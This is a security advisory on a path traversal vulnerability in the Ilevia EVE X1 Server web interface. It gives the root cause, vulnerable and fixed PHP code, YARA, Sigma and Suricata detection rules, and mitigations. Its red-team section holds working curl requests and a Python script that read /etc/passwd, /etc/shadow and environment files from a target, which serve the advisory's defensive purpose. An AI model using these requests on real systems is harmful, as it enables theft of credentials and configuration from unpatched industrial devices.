CVE-2025-34518

Executive Summary

CVE-2025-34518 is a critical relative path traversal vulnerability in the Ilevia EVE X1 Server firmware, specifically within the get_file_content.php endpoint. This flaw allows an unauthenticated attacker to read arbitrary files on the server by manipulating file path parameters with sequences like ../. The vendor, Ilevia, has acknowledged the vulnerability but declined to provide a patch, instead recommending that users avoid exposing port 8080 to the internet. This advisory is particularly concerning for industrial and IoT environments where the EVE X1 Server is deployed, as it exposes sensitive configuration files, credentials, and system data. The vulnerability has a CVSS score of 7.5 (High) due to its network exploitability and high confidentiality impact.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Complete loss of confidentiality; all files on the system could be read.
• Integrity (I): None (N) – No impact on data integrity.
• Availability (A): None (N) – No impact on system availability.

CVSS Score: 7.5 (High)

Threat Level: Critical due to the lack of a patch and the potential for data exfiltration in industrial control systems.

Deep Dive & Mechanics

The vulnerability resides in the get_file_content.php script, which is used to retrieve file contents for the web interface. The script fails to sanitize user-supplied input in the file parameter, allowing an attacker to traverse directories outside the intended web root.

Root Cause: The application does not validate or canonicalize the file path provided by the user. By injecting ../ sequences, an attacker can escape the intended directory and access any file readable by the web server process.

Attack Vector: An unauthenticated HTTP GET request to http://target:8080/get_file_content.php?file=../../etc/passwd would return the contents of the /etc/passwd file.

Impact: An attacker can read sensitive files such as:

• /etc/shadow (if readable)
• Configuration files containing credentials
• Application source code
• System logs
• Database files

Vulnerable vs. Patched Code

Vulnerable Code (get_file_content.php):

<?php
$file = $_GET['file'];
$content = file_get_contents($file);
echo $content;
?>

Patched Code (Recommended):

<?php
$file = $_GET['file'];
$baseDir = '/var/www/html/files/';
$realPath = realpath($baseDir . $file);
if ($realPath === false || strpos($realPath, $baseDir) !== 0) {
    die('Invalid file path.');
}
$content = file_get_contents($realPath);
echo $content;
?>

The patched version uses realpath() to resolve the absolute path and then checks that it starts with the allowed base directory, preventing directory traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy Ilevia EVE X1 Server firmware version 4.7.18.0.eden in a virtualized environment.
2. Ensure port 8080 is accessible from the attacker machine.

Exploitation Steps:

1. Reconnaissance: Scan for the EVE X1 Server using Shodan or Nmap:

   nmap -p 8080 --script http-title <target>
   

2. Verify Vulnerability: Send a crafted request to read a known file:

   curl "http://<target>:8080/get_file_content.php?file=../../etc/passwd"
   

3. Extract Sensitive Data: Read configuration files:

   curl "http://<target>:8080/get_file_content.php?file=../../var/www/html/config.php"
   

4. Automated Exploitation: Use a Python script to enumerate files:

   import requests
   target = "http://<target>:8080"
   files = ["../../etc/passwd", "../../etc/shadow", "../../proc/self/environ"]
   for f in files:
       r = requests.get(f"{target}/get_file_content.php?file={f}")
       print(f"File: {f}\n{r.text}\n")
   

Blue Team (Defensive)

Detection & Response:

1. Monitor Web Logs: Look for requests containing ../ or ..%2f in the file parameter.
2. Network Segmentation: Ensure port 8080 is not exposed to the internet. Use firewalls to restrict access to trusted IPs only.
3. Web Application Firewall (WAF): Deploy a WAF rule to block path traversal patterns:

   location /get_file_content.php {
       if ($args ~* "file=.*\.\.") {
           return 403;
       }
   }
   

4. File Integrity Monitoring: Monitor changes to critical system files and configuration files.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /get_file_content.php with file parameter containing ../ or ..%2f.
  • Outbound connections from the EVE X1 Server to unknown IPs after exploitation.
• File IOCs:
  • Unauthorized access to /etc/passwd, /etc/shadow, or application configuration files.
  • Presence of suspicious files in the web root (e.g., webshells).
• Log IOCs:
  • Web server logs showing repeated 404 or 403 errors for non-existent files.
  • System logs showing unusual file read operations.

Detection Engineering

YARA Rule

rule CVE_2025_34518_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting get_file_content.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34518"
    strings:
        $traversal = /file=([^&]*\.\.\/[^&]*)/
        $endpoint = "get_file_content.php"
    condition:
        $endpoint and $traversal
}

Sigma Rule

title: CVE-2025-34518 Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with path traversal patterns in get_file_content.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "get_file_content.php?file=../"
            - "get_file_content.php?file=..%2f"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some applications
level: high

Suricata Rule

alert http any any -> any 8080 (msg:"CVE-2025-34518 Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/get_file_content.php"; http_uri; content:"file="; http_uri; pcre:"/file=[^&]*\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Block Port 8080: Ensure port 8080 is not exposed to the internet. Use firewall rules to restrict access to trusted internal networks only.
2. Web Application Firewall: Deploy a WAF with rules to block path traversal patterns.
3. Input Validation: If possible, implement server-side input validation to reject paths containing ../ or ..%2f.

Long-Term Solutions:

1. Vendor Engagement: Continue to pressure Ilevia for a patch. Consider migrating to a different vendor if no patch is provided.
2. Code Hardening: If source code is available, implement proper path canonicalization as shown in the patched code example.
3. Network Segmentation: Place the EVE X1 Server in a segmented network with strict access controls.
4. Monitoring: Implement continuous monitoring for path traversal attempts and anomalous file access.

Workaround: Since the vendor recommends not exposing port 8080, use a reverse proxy (e.g., Nginx) to add authentication and path validation before requests reach the vulnerable endpoint.

Valters IT
Securing Digital Frontiers